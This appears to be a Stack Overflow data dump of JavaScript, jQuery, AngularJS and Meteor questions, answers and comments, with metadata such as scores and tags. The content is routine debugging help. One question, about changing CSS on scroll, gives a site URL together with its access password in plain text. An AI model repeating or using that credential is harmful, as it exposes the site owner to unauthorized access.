has body: My application uses iron router: When a user hits a certain route that contains a wildcard, I would like to use the value of the wildcard to call a meteor method and have its return value be used to set the data context for the template. Example: Meteor method: getUserName: function(id){ return Meteor.users.findOne({_id: id}).profile.name; } Router: data: function(){ Meteor.call('getUserName', this.params.userId, function(error, result){ }); } The meteor method returns the correct value and I can access that value in the callback function. But my problem is that I don't know how to actually use that data. Just returning it from the callback doesn't work. What is the right way to do this? Or is it not a got idea at all to call a Meteor method in this case? What is the alternative then? Thank you very much for your answers!
tagged with: meteor
tagged with: asynchronous
type: AnsweredQuestion
tagged with: iron-router
type: Question

http://stackoverflow.com/a/25858006
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40463893
has comment: http://stackoverflow.com/comment/40541343
answers question: http://stackoverflow.com/q/25857986
has body: Unless the id of the field is ".Compose" (it isn't), this code will not work. Try: document.getElementById('Compose').
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/40499195

http://stackoverflow.com/q/25846406
has answer: http://stackoverflow.com/a/25846514
accepted answer: http://stackoverflow.com/a/25846514
favorite count: 0
has body: for example: var a = "1234"; var b = "line1\\\\.5"; now this line of code: "#" + a + b; puts out this string "#1234line1\\.5" and when I enter it in the selector like this: $("#1234line1\\.5") it shows the correct element but $("#" + a + b) Does not Thanks in advance for any suggestions
type: AnsweredQuestion
score: 2
has answer: http://stackoverflow.com/a/25846516
downvote count: 0
possible better answer: http://stackoverflow.com/a/25846516
type: Question
has comment: http://stackoverflow.com/comment/40439977
tagged with: javascript
has comment: http://stackoverflow.com/comment/40440083
upvote count: 2
has title: When passing 2 variables in jQuery selector there's no result but when typing the same string output it does
answer count: 3
tagged with: jquery-selectors
has answer: http://stackoverflow.com/a/25847502
has comment: http://stackoverflow.com/comment/40439779
tagged with: jquery

http://stackoverflow.com/q/25715211
tagged with: ajax
has body: When I call a method from the $ajax.success callback I get an undefined. var someObj = {}; someObj.someMethod = function() { //code code } someObj.ajaxCall = function() { $.ajax({ //ajax options }) .done(function( data ) { this.someMethod(); }); }
accepted answer: http://stackoverflow.com/a/25715229
possible better answer: http://stackoverflow.com/a/25715235
has answer: http://stackoverflow.com/a/25715235
has comment: http://stackoverflow.com/comment/40199003
score: 0
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25715229
has title: Method undefined when calling it from $ajax.success
type: Question
answer count: 2
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/40272235
type: QuestionComment
comment on: http://stackoverflow.com/q/25754134
has text: My apologies to everyone -- I uploaded the wrong file :-(. Corrections -- which many of you mentioned concerning syntax -- have now been edited in the original question.
score: 0
type: Comment

http://stackoverflow.com/comment/40258314
comment on: http://stackoverflow.com/a/25746120
type: AnswerComment
type: Comment
score: 2
has text: OK, so I've given up with that. Pretty much zero documentation about how to do anything with that REST API.

http://stackoverflow.com/q/25813566
has answer: http://stackoverflow.com/a/25813720
has title: Dynamically updating checkboxes option by drop down input in Jquery
tagged with: jquery
has answer: http://stackoverflow.com/a/25813746
has body: I am trying to dynamically update the checkboxes option by the dropdown input. For an example if the user selects 1 then the checkbox 1 will not appear but the rest will, and so on. HTML Dropdown: 1 2 3 4 1 2 3 4 JQuery $("#dropdown").change(function() { var index = $(':selected', this).index(); $('#id_checkbox_'+index).parent().hide(); }); Heres JSFiddle link: http://jsfiddle.net/ffs408u6/ Thanks!
tagged with: http://stackoverflow.com/tag/html
possible better answer: http://stackoverflow.com/a/25813746
tagged with: checkbox
accepted answer: http://stackoverflow.com/a/25813720
score: 0
type: Question
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40380013
tagged with: javascript
answer count: 2
tagged with: filter

http://stackoverflow.com/comment/40244635
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25739211
has text: @jasonscript unfortunately that's a business requirement.
score: 0

http://stackoverflow.com/a/25771615
has body: My way :p a[class="mylink"]:not(:hover) img[class*="greyscale"], a[class="mylink"]:hover img[class*="color"] { display: inline-block; } a[class="mylink"]:not(:hover) img[class*="color"], a[class="mylink"]:hover img[class*="greyscale"] { display: none; } Here is a demo JSFiddle http://jsfiddle.net/agaex70r/ Here is another JSFiddle with a transition. http://jsfiddle.net/agaex70r/2/
has comment: http://stackoverflow.com/comment/40304093
score: 1
has comment: http://stackoverflow.com/comment/40303879
has comment: http://stackoverflow.com/comment/40304139
has comment: http://stackoverflow.com/comment/40303642
answers question: http://stackoverflow.com/q/25771324
has comment: http://stackoverflow.com/comment/40304380
downvote count: 0
has comment: http://stackoverflow.com/comment/40304054
has comment: http://stackoverflow.com/comment/40304164
has comment: http://stackoverflow.com/comment/40303897
type: Answer
has comment: http://stackoverflow.com/comment/40304177
has comment: http://stackoverflow.com/comment/40303680
has comment: http://stackoverflow.com/comment/40303783
has comment: http://stackoverflow.com/comment/40303940
has comment: http://stackoverflow.com/comment/40303337
upvote count: 1
has comment: http://stackoverflow.com/comment/40304239
has comment: http://stackoverflow.com/comment/40303969

http://stackoverflow.com/comment/40295986
comment on: http://stackoverflow.com/q/25767595
has text: Button is a Function, so you've got to return something in order to get it's value. alert(Button() + indexOptionValueToChange); function Button(nombre){ this.nombre = nombre; return 'something'; }
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/25714725
tagged with: jquery
has comment: http://stackoverflow.com/comment/40198133
favorite count: 0
upvote count: 2
has comment: http://stackoverflow.com/comment/40198141
possible better answer: http://stackoverflow.com/a/25714917
has answer: http://stackoverflow.com/a/25714917
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25714829
has comment: http://stackoverflow.com/comment/40198120
score: 1
has title: show hide div jQuery
downvote count: 1
has body: I am trying to make a show hide div function for my website. But I have one problem with multiple show hide button. So the problem is that when I click show button in container div then all blue div showing automatically. You can see a DEMO. HTML: Hide Show Hide Show JavaScript: $(document).ready(function() { $("#hidediv").hide(); $('#showdiv').click(function() { $('.div').toggle("slide"); $("#showdiv").hide(); $("#hidediv").show(); }); $('#hidediv').click(function() { $('.div').toggle("slide"); $("#hidediv").hide(); $("#showdiv").show(); }); }); When the user clicks show button in container show div, then I only want to show this div. I hope you can understand me.
has answer: http://stackoverflow.com/a/25714798
type: Question
has comment: http://stackoverflow.com/comment/40198154
has comment: http://stackoverflow.com/comment/40198153
tagged with: javascript
has comment: http://stackoverflow.com/comment/40198203
answer count: 3
has answer: http://stackoverflow.com/a/25714829

http://stackoverflow.com/q/25803032
tagged with: css
has comment: http://stackoverflow.com/comment/40361392
has answer: http://stackoverflow.com/a/25803411
has comment: http://stackoverflow.com/comment/40361224
has title: Change CSS on scroll
tagged with: scroll
has comment: http://stackoverflow.com/comment/40361375
type: Question
has comment: http://stackoverflow.com/comment/40361668
upvote count: 0
tagged with: javascript
tagged with: jquery
has body: I for the life of me cannot get this to work. I am trying to run a simple script that changes the display property of a logo. It is set to none initially and it should switch to block once the browser is scrolled down 170px. This is the script I'm using var $logo = $('#mainlogo'); $(document).scroll(function() { $logo.css({display: $(this).scrollTop()&gt;170 ? "block":"none"}); }); It's not registering any errors in the console. You can check it running here. http://www.staywell.contravent.com the password is CV2014! Any help is much appreciated. Is there any way to do this without a script? Purely CSS?
has comment: http://stackoverflow.com/comment/40361173
has comment: http://stackoverflow.com/comment/40361724
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has comment: http://stackoverflow.com/comment/40361642
favorite count: 0
has comment: http://stackoverflow.com/comment/40361185
type: UnansweredQuestion
downvote count: 2
score: -2

http://stackoverflow.com/a/25894265
accepted answer of: http://stackoverflow.com/q/25809579
score: -1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25809579
type: Answer
has body: So I sorted out the issues I was having. If anyone is interested in how its done, the short answer is its not... Or at least not that I could figure out. In the end I used an alternate library to ng-flow. The angular-file-upload by nervgh. Angular File Upload Libary Whilst I probably preferred how the ng-flow library was implemented (from a functionality perspective), I was able to achieve the same result with this library with a little work.
downvote count: 1
upvote count: 0

http://stackoverflow.com/comment/40310991
type: Comment
score: 0
has text: I tried to download the image and it is downloaded as SVG.. So the problem is how to chang its colour
type: AnswerComment
comment on: http://stackoverflow.com/a/25773945

http://stackoverflow.com/q/25739027
tagged with: ibm-mobilefirst
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25744922
score: 1
linked to: http://stackoverflow.com/q/20274792
has comment: http://stackoverflow.com/comment/40245108
type: Question
tagged with: worklight-geolocation
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40245034
tagged with: javascript
has body: I am implementing geofence in worklight but I want to create geo triggers dynamically. I saw this post and tried her code but it's not working for me. I used fake location and entered a geofence but the callback function was not triggered. Here's my code. branch_data_g is a json string containing the longitude and latitudes. function getFirstPositionAndTrack() { WL.Logger.info("getfirstpositionandtrack function"); // use GPS to get the user's location var geoPolicy = WL.Device.Geo.Profiles.LiveTracking(); geoPolicy.timeout = 60000; // set timeout to 1 minute geoPolicy.maximumAge = 10000; // allow to use a position that is 10 seconds old // note: to see at high-accuracy, change RoughTracking above to LiveTracking // get the user's current position WL.Device.Geo.acquirePosition( function(pos) { WL.Logger.debug("acquired position"); WL.Logger.debug("Longitude: " + pos.coords.longitude); WL.Logger.debug("Latitude: " + pos.coords.latitude); var triggers = new Object(); triggers.Geo = {}; var trigger_events = generateTrigger(); triggers.Geo = trigger_events; WL.Device.startAcquisition({ Geo: geoPolicy }, triggers, { Geo: alertOnGeoAcquisitionErr } ); }, function(geoErr) { alertOnGeoAcquisitionErr(geoErr); // try again: getFirstPositionAndTrack(); }, geoPolicy.Geo ); } function generateTrigger() { var parsed_data = JSON.parse(branch_data_g); WL.Logger.info("generatetrigger function: " + parsed_data.branches.length); var trigger_events = new Object(); WL.Logger.info("sample: " + parsed_data.branches[0].latitude); for(var i = 0; i &lt; parsed_data.branches.length; i++) { var trigger = { type: "Enter", circle: { longitude: parsed_data.branches[i].longitude, latitude: parsed_data.branches[i].latitude, radius: 100 }, callback: function() { WL.Logger.info("Enter branch"); WL.Client.transmitEvent({ branch: "enter branch"}, true); } }; trigger_events["branch"+i] = trigger; } return trigger_events; } Here's my code in my adapter: function eventHandler() { //nothing to do here.. } W…
has title: Create geo triggers dynamically worklight
accepted answer: http://stackoverflow.com/a/25744922
has comment: http://stackoverflow.com/comment/40244973
favorite count: 0
upvote count: 1

http://stackoverflow.com/q/25791873
answer count: 1
linked to: http://stackoverflow.com/q/14741688
tagged with: javascript
tagged with: jquery
score: 0
has comment: http://stackoverflow.com/comment/40339885
has comment: http://stackoverflow.com/comment/40340236
has title: Use HTML 5 validation messages with jQuery Validate plugin
has comment: http://stackoverflow.com/comment/40340409
has answer: http://stackoverflow.com/a/25792173
upvote count: 1
tagged with: http://stackoverflow.com/tag/html
downvote count: 1
has comment: http://stackoverflow.com/comment/40340086
favorite count: 0
has body: I've got a relatively simple form that I need to conditionally submit, and show validation messages if HTML5 validation is not passed. I'm down the road of using jQuery Validate, which seems fine, but all I want is the functionality of if( $('#myForm').valid()) {...} jQuery Validate seems determined to put error messages in the DOM though and block the browsers native messages, which I don't want. I don't know if I'm being blind or dumb (probably both) but I can't figure out how to stop it doing that. This is what I have now: // call validate to set the form up for validation $(this).closest('form').validate(); if ($(this).closest('form').valid()) { // do some stuff } else { // show error messages via the browser (need to pretend to click a button for this) $(this).closest('form').find(':submit').click(); }
has comment: http://stackoverflow.com/comment/40340410
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40340430
tagged with: jquery-validate
type: Question
tagged with: validation

http://stackoverflow.com/q/25814253
linked to: http://stackoverflow.com/q/4935632
duplicate of: http://stackoverflow.com/q/11922383
has comment: http://stackoverflow.com/comment/40401386
has comment: http://stackoverflow.com/comment/40381290
tagged with: arrays
answer count: 1
tagged with: javascript
favorite count: 0
has comment: http://stackoverflow.com/comment/40382523
has body: I'm working in JavaScript and I have a json file with info from Twitter. I have no problem accesing it using something like: var content = data.text; so I can use it to change a div using innerHTML. Now, I'm also trying to check if certain hashtag is present (to fire a video). Now, I have a variable called data that using the .getJSON method stores the info from the JSON file. I can access properties like time_zone easily using data.user.time_zone but thing like the hashtags are inside an array of objects and I don't know how to acces, for instance the 'text'. This is the '.json' (I edited some info because it was too long). { "user": { "following": null, }, "in_reply_to_screen_name": null, "entities": { "user_mentions": [], "urls": [], "trends": [], "symbols": [], "hashtags": [ { "text": "fuego", "indices": [ 25, 31 ] }, { "text": "primaLED", "indices": [ 32, 41 ] } ] }, "contributors": null, } I found some "solutions" but none are working, I'm new to programing so I'm really lost.
has answer: http://stackoverflow.com/a/25814569
score: 0
type: UnansweredQuestion
upvote count: 1
downvote count: 1
has comment: http://stackoverflow.com/comment/40381155
type: Question
has title: Check for values inside an array of objects from a json file
tagged with: object
linked to: http://stackoverflow.com/q/11922383
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/comment/40208821
score: 0
has text: Can't you use the `data` variable to check for the specific cell ? Something like : `if(data.targetScope.col.index === X) {}` or `if(data.targetScope.row.entity.something === something else) {}`.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25719800

http://stackoverflow.com/a/25763304
has comment: http://stackoverflow.com/comment/40287887
type: Answer
has body: function_two(){ alert('numbers'); } Needs to be declared as a function function function_two(){ alert('numbers'); } http://jsfiddle.net/bjdq3oL3/2/
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25763262
answers question: http://stackoverflow.com/q/25763262
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/40287845
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40287927

http://stackoverflow.com/a/25742418
upvote count: 1
downvote count: 0
type: Answer
has body: Use map to extract the information you need into an array. Here I've added the label and URIs to objects that you can loop over when you need to: var results = json.results.bindings.map(function (el) { return { uri: el.uri.value, label: el.label.value }; }); DEMO
score: 1
answers question: http://stackoverflow.com/q/25742089
has comment: http://stackoverflow.com/comment/40249788

http://stackoverflow.com/comment/40354922
comment on: http://stackoverflow.com/a/25799616
has text: While your solution "solves" the problem, its totally unnecessary to bind and unbind this event listener.
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40348399
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25796300
has text: Don't worry so much about a DIV. Look up how to work with INNERHTML. That's probably more like what you want.
score: 0

http://stackoverflow.com/comment/40215192
comment on: http://stackoverflow.com/a/25723848
has text: @DrEddison..sorry but i didn't get you..as per your question the answer is correct..thanks..
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40297600
comment on: http://stackoverflow.com/a/25756564
score: 0
type: AnswerComment
has text: You forgot about Rule 1 in your `then` callback. It needs to be `getPrayerCat('').then(function(data){` **`return`** `getPrayerInCat(data); }).then(…)`. Without returning anything, the promise resolves to `undefined`…
type: Comment

http://stackoverflow.com/a/25762366
has comment: http://stackoverflow.com/comment/40286894
accepted answer of: http://stackoverflow.com/q/25762298
answers question: http://stackoverflow.com/q/25762298
has body: You set your Mockdata to an empty array, then you proceed to overwrite the same properties for each iteration. I think you want to append data objects for each iteration like this: pseudo: for (var i = 0; i &lt; seriesData.length; i++) { var data = {}; data.feederId = seriesData[i].feederId; Mockdata.push(data); ... } EDIT: I read your updated question and it seems like you want to merge each two sets into one? An easy way would be to do this instead: for (var i = 0; i &lt; seriesData.length; i+=2) { var data = {}; data.feederId = seriesData[i].feederId; data.servicePointEventLowCount = seriesData[i].servicePointEventCount; data.servicePointEventHighCount = seriesData[i+1].servicePointEventCount; Mockdata.push(data); ... }
upvote count: 3
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40290637
type: Answer
has comment: http://stackoverflow.com/comment/40286791
has comment: http://stackoverflow.com/comment/40286804
score: 3
downvote count: 0

http://stackoverflow.com/comment/40463216
score: 1
has text: `resp[0]` is the array according to your imagure. What you actually want is `resp[0]["id1"];`
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25858979

http://stackoverflow.com/a/25731354
type: Answer
answers question: http://stackoverflow.com/q/25731240
downvote count: 1
has body: Instead of what you have, try putting this in toggle.js: function toggle() { code to be executed } Then in index.html you can use it normally by calling toggle().
upvote count: 0
score: -1

http://stackoverflow.com/comment/40315855
type: AnswerComment
type: Comment
has text: @user3271518 that's basically the answer I provided except I added a check to make sure the item was found. It's not really needed since the item should always be there but I added it just in case. Calling splice with -1 will cause items to be removed starting at the end of the list.
comment on: http://stackoverflow.com/a/25777303
score: 0

http://stackoverflow.com/comment/40312765
comment on: http://stackoverflow.com/q/25776413
has text: loop over array of `torneyid` and use index to create insert for each row
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/q/25839396
has title: Is it possible to use MathJax on squarespace?
downvote count: 0
has body: I am currently attempting to create a new website using squarespace, and I'd like to use MathJax to typeset mathematics. This is the same engine used by SE to render mathematics on physics.SE for example. The standard way of using MathJax is to put a certain code snippet in the header of the page one which you would like to use MathJax as outlined here. I have attempted to do this in squarespace by using the "code injection" feature that allows one to put desired code into the header of all pages on a squarespace site, but the mathematics doesn't seem to be rendering. This person alleges to have made the procedure I outline above work, but after entering the desired mathematical formulas into an HTML code block as he suggests, MathJax does not seem to be working. Below is a code sample. JavaScript: &lt;script type="text/javascript" src="http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"&gt; &lt;/script&gt; HTML: When \(a \ne 0\), there are two solutions to \(ax^2 + bx + c = 0\) and they are $$x = {-b \pm \sqrt{b^2-4ac} \over 2a}.$$ Update. It seems as though MathJax does actually render properly using the procedure outlined above (namely if you enter it into an html code block), but ONLY if you are viewing the site as a visitor, and not while you are logged into your squarespace account.
favorite count: 0
type: Question
tagged with: http://stackoverflow.com/tag/html
tagged with: squarespace
upvote count: 6
has answer: http://stackoverflow.com/a/79284044
tagged with: mathjax
answer count: 3
has comment: http://stackoverflow.com/comment/73791500
has answer: http://stackoverflow.com/a/39393474
has answer: http://stackoverflow.com/a/27890340
tagged with: javascript
type: UnansweredQuestion
score: 6

http://stackoverflow.com/comment/40304611
comment on: http://stackoverflow.com/a/25772208
score: 2
has text: This is the right answer for the OP's use case, but it's worth noting that "saving" the jQuery object in a variable will cache the selection at the time the search was made - trying to use it again after DOM changes might give you unexpected results.
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25852075
type: Question
tagged with: javascript
has title: Angular.js wait for multiple resource (ajax) calls
answer count: 2
has answer: http://stackoverflow.com/a/25852226
downvote count: 0
has body: I have an Angular.js application and I need to call three different resources and once they all complete, use them together. My three calls are below. # Get the curriculum $scope.curriculum = CurriculumResource.get id: $routeParams.id # Get the list of courses $scope.courses = CourseResource.query() # Get the list of groups $scope.groups = GroupResource.query() How can I perform more logic once I know the requests are all completed. I've tried using $watchGroup shown below and $watchCollection but neither seem to be working. $scope.$watchGroup ['curriculum', 'courses', 'groups'], -&gt; # Shouldn't this run each time something in the above array changes? console.log 'Only runs once' # The values of the items in the below if statement eventually give a true result # but the if statement never runs when they are true if $scope.curriculum.groups and $scope.groups.length console.log 'never gets here!'
favorite count: 0
tagged with: angularjs
has answer: http://stackoverflow.com/a/25852129
type: UnansweredQuestion
score: 1
upvote count: 1
tagged with: coffeescript

http://stackoverflow.com/comment/40434378
has text: Argh! I knew there is a stupid mistake in the code! Right, right.
comment on: http://stackoverflow.com/a/25843069
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25722660
has title: Dropdown won't populate with Javascript
has comment: http://stackoverflow.com/comment/40213068
has comment: http://stackoverflow.com/comment/40213112
has comment: http://stackoverflow.com/comment/40212946
type: Question
has body: I am trying to populate select box using below script, it does populate it in the background but I cannot see the changes in the page. The only thing I can see in the DropDownList is the item I add manually. Can you see something wrong here? EDIT: I can see that it runs without an error from the console, it adds the options and increases the length of select box. The problem is they do not reflect in the list. I am not using localhost, do you think it can affect such a script? Navteq POI'leri Alışveriş
has comment: http://stackoverflow.com/comment/40212924
has comment: http://stackoverflow.com/comment/40213119
has comment: http://stackoverflow.com/comment/40213145
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40213190
tagged with: drop-down-menu
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/a/25773592
has body: Function declarations are always hoisted to the top of the containing scope. You should use an assignment if you want it to be conditional: var is_android = true; var foo; if (is_android) { foo = function() { alert('I am Android'); } } else { foo = function() { alert('I am NOT Android'); } } foo();
type: AcceptedAnswer
score: 4
type: Answer
upvote count: 4
downvote count: 0
has comment: http://stackoverflow.com/comment/40306869
accepted answer of: http://stackoverflow.com/q/25773510
answers question: http://stackoverflow.com/q/25773510

http://stackoverflow.com/comment/40482552
has text: Then how is your JavaScript code managing the form post? If you're just submitting a standard form and not using AJAX then your JavaScript options aren't used because they're not relevant to that. All you have in the posted code is a JavaScript object. There's no posted code which shows how you *use* that object.
comment on: http://stackoverflow.com/q/25869099
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/40209426
score: 0
has text: @EricC, Can you please share your detailed controller code?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25720489

http://stackoverflow.com/q/25763259
has answer: http://stackoverflow.com/a/25763531
upvote count: 1
type: Question
downvote count: 0
tagged with: javascript
tagged with: jquery
answer count: 2
has title: jquery button click function do automatically with time delay
has answer: http://stackoverflow.com/a/25763455
favorite count: 0
has body: Hi I need to do bellow jquery function without click next button. I tried so many was but those are not working can any one give me a proper way to do this please var clickNext = $(".next_button").click(function() { var imgWidth = $("#slider_box_01").width(); var numImgs = 16; var count = 0; slideId++; if (slideId == 3) { slideId = 0; } imageSlider(imgWidth, numImgs, count, slides, slideId); }); function imageSlider(imgWidth, numImgs, count, slides, slideId) { var animation = setInterval(function() { var position = -1 * (count * imgWidth); $('#slider_box_01').find('.slider_image').css('margin-left', position); count++; if (count == numImgs) { count = 0; $('#slider_box_01').find('.slider_image').css('margin-left', 0 ); $(".slider_image").attr("src", slides[slideId]); clearInterval(animation); } }, 80); this function works well if I click the .next_button but I need to do that without click any button after load my web page every 2 second.
has comment: http://stackoverflow.com/comment/40287785
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25763455
possible better answer: http://stackoverflow.com/a/25763531
score: 1

http://stackoverflow.com/a/25840781
downvote count: 0
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/40430173
accepted answer of: http://stackoverflow.com/q/25840664
answers question: http://stackoverflow.com/q/25840664
has body: Here you are using the id for both span is range. You may use different id's for spans. Here is a DEMO
score: 2
type: AcceptedAnswer

http://stackoverflow.com/comment/40357721
comment on: http://stackoverflow.com/a/25801188
score: 0
type: AnswerComment
has text: Indeed the order is not guaranteed by language specifications but as an implementation detail it is present. Also the clutter of inherited properties/methods is not very attractive when trying to access the properties you added to an object :-).
type: Comment

http://stackoverflow.com/comment/96789966
score: 0
type: Comment
type: QuestionComment
has text: Can you explain how to disconnect the peer connection. [http://peerjs.com/docs/#dataconnection-close] link is not found
comment on: http://stackoverflow.com/q/25797345

http://stackoverflow.com/a/25813653
score: 0
answers question: http://stackoverflow.com/q/25791095
has body: You might have a maxwidth set in the options. $(".rslides").responsiveSlides({ maxwidth: "", &lt;- LOOK FOR THIS }); If that is the case, removing that line should fix this issue.
has comment: http://stackoverflow.com/comment/40398659
type: Answer

http://stackoverflow.com/q/25869218
tagged with: jquery
tagged with: ajax
has answer: http://stackoverflow.com/a/25869438
has title: AJAX asynchronous causing null value.
has comment: http://stackoverflow.com/comment/40481810
tagged with: asynchronous
has comment: http://stackoverflow.com/comment/40481216
favorite count: 0
has comment: http://stackoverflow.com/comment/40481137
has body: I have a form with select option which displays some options, I want to retrieve the selected option to display it in a text box. I am using AJAX to retrieve some xml data to display as options. After displaying the options, and when i try to retrieve the selected option I get null in asynchronous AJAX, but in synchronous AJAX call I get the right value. Here is my code: function loadXML(url, callback){ $.ajax ({ type: "GET", url: url, cache: false, async: true, success: callback, }); } function displaySubjects(){ loadXML("subjects.xml", function(xml){ $(xml).find("subject").each(function(){ var courseCode = $(this).find("code")[0].textContent; var courseTitle = $(this).find("title")[0].textContent; $('#subject').append("&lt;option value='" + courseCode + "'&gt;" + courseCode + ": " +courseTitle + "&lt;/option&gt;"); }) }); } displaySubjects(); console.log($("#subject").val()); //Returns 'null'. How can i fix this?
has comment: http://stackoverflow.com/comment/40481283
downvote count: 1
accepted answer: http://stackoverflow.com/a/25869438
type: AnsweredQuestion
score: -1
type: Question
has comment: http://stackoverflow.com/comment/40481266
upvote count: 0
answer count: 1
has comment: http://stackoverflow.com/comment/40481247
tagged with: javascript

http://stackoverflow.com/q/25826601
tagged with: http://stackoverflow.com/tag/html
type: Question
has answer: http://stackoverflow.com/a/25826658
answer count: 1
has body: I am new to javascript and I'm a bit confused about what I'm doing wrong. so, I have functions defined in an external .js file like so... var game = (function () { function start_game() { ... } function step() { ... } ... } Now I want my html page to call these functions; first start_game() once, and then step repeatedly every second or so. I have tried following the code for doing this in HTML in several posts on this subject but in every case my code is never actually executed... What do I do?
has comment: http://stackoverflow.com/comment/40403732
has comment: http://stackoverflow.com/comment/40403695
score: 0
has comment: http://stackoverflow.com/comment/40403693
accepted answer: http://stackoverflow.com/a/25826658
has title: trying to call javascript functions in html
tagged with: javascript
type: AnsweredQuestion

http://stackoverflow.com/a/25809747
answers question: http://stackoverflow.com/q/25809110
has comment: http://stackoverflow.com/comment/40392365
score: 0
type: Answer
has body: You can use javascript/jquery. For example, each time the checkbox is check or uncheck an ajax call is going to be done. I'm assuming you don't want to do a redirect. var checked; $(document).on("change", "input[type=checkbox]", function(e) { checked = $("input[type=checkbox]:checked"); if ($(this).is(':checked')) { var id=$checked.val(); $.ajax({ url: 'senDbase.jsp', type: 'GET', data: "&amp;chkbx1="+id }); } });

http://stackoverflow.com/comment/40338495
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25791140
has text: What validation plugin are you using?

http://stackoverflow.com/comment/40330041
comment on: http://stackoverflow.com/q/25786169
has text: Can You explain it with some sample code sorry but i am not advenced programmer.
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25719634
type: UnansweredQuestion
score: -3
upvote count: 0
has body: I have two radioboxes and two forms on my page. based on selected radiobox, related form should be visible. I tried to solve this problem and I ended up with this code: `http://jsfiddle.net/3g6c4anf/1/` But this code has two problems: 1- when you run the code, all checked events fires up and all form slides up and down. 2- I want to form1 be visible by default. i did not make it so.
tagged with: knockout.js
type: Question
tagged with: javascript
has title: Show and hide different forms using radio box
downvote count: 3
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/25720275

http://stackoverflow.com/comment/40412514
has text: Where is the second element with classname = "coba"?
comment on: http://stackoverflow.com/q/25831407
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40428326
has text: You were right. I was getting very confused about `=` and `==`. I had to change many of them to `=` but needed to leave some, such as `else if (num == 8 | num == 9)`, as `==` in order for it to work. Thank you.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/25753334
type: AnswerComment

http://stackoverflow.com/comment/40418847
type: Comment
comment on: http://stackoverflow.com/a/25834895
type: AnswerComment
score: 0
has text: Right, Terry gave a great alternative above but I am still curious as to know how I would go about doing it your way and only displaying a result if a value is selected in both the dropdown and the radio button.

http://stackoverflow.com/q/25861647
tagged with: javascript
tagged with: jquery
tagged with: tinymce
has answer: http://stackoverflow.com/a/25870585
type: Question
score: 0
has title: How do I make tinyMCE editor stay in my jQgrid textarea formedit form after first initialize?
has body: I have a jqgrid that I am trying to use tinyMCE in the text area to send/store html in my database and reload to my grid. I have a custom column with tinyMCE for the text area but after I open editform once and close it next time it is opened tinymce does not initialize and a regular textarea appears. (Also when url modal it looses focus and focuses on editform. The text is pasted to the back "Project" field instead(picture below).)What I'm I doing wrong? Reason why my TineMCE "Links" was losing focus was because of a simple syntax error. I had modal:true in the editgrid code. UPDATE FOR WORKING INLINE EDIT IMPLEMENTATION Here are examples for correct implementation for inline edit(Thank you @Oleg): DEMO1 | DEMO2 INLINE EDIT WORKING CODE SAMPLE: { name: "note", width: 260, sortable: false, editable: true, //edittype: "textarea" edittype:'custom', editoptions: { custom_element: function (value, options) { var elm = $(" "); elm.val(value); // give the editor time to initialize setTimeout(function () { try { tinymce.remove("#" + options.id); } catch(ex) {} tinymce.init({selector: "#" + options.id, plugins: "link"}); }, 50); return elm; }, custom_value: function (element, oper, gridval) { var id; if (element.length > 0) { id = element.attr("id"); } else if (typeof element.selector === "string") { var sels = element.selector.split(" "), idSel = sels[sels.length - 1]; if (idSel.charAt(0) === "#") { id = idSel.substring(1); } else { return ""; } } if (oper === "get") { return tinymce.get(id).getContent({format: "row"}); } else if (oper === "set") { if (tinymce.get(id)) { tinymce.get(id).setContent(gridval); } } }} } jqGrid column: ... { name:'notes', index:'notes', edittype:'custom', editable:true, editoptions:{ "custom_element":function( value , options) { var elm = $(' '); elm.val( value ); // give the editor time to initialize setTimeout( function() { tinymce.init({selector: "textarea#notes",plugins: "link"}); }, 100); return elm; }, "custom_value":function( element, op…
answer count: 1
accepted answer: http://stackoverflow.com/a/25870585
tagged with: jqgrid
type: AnsweredQuestion

http://stackoverflow.com/comment/40370903
type: Comment
has text: Hey **Bhusan** i tried your code but that is no not working .. i mean i did append in last of return value .apendTo(mylist) but this function is not working;
comment on: http://stackoverflow.com/a/25808567
score: 0
type: AnswerComment

knockout-components
type: Tag
tags question: http://stackoverflow.com/q/25767947
tags question: http://stackoverflow.com/q/25828530
tags question: http://stackoverflow.com/q/25824030
tags question: http://stackoverflow.com/q/25833326
tags question: http://stackoverflow.com/q/25730928
tag name: knockout-components

http://stackoverflow.com/comment/40292696
type: AnswerComment
has text: "(key, value) in expression – where key and value can be any user defined identifiers, and expression is the scope expression giving the collection to enumerate. For example: (name, age) in {'adam':10, 'amalie':12}." I find that hard to missunderstand. Anyway; he got his problem solved.
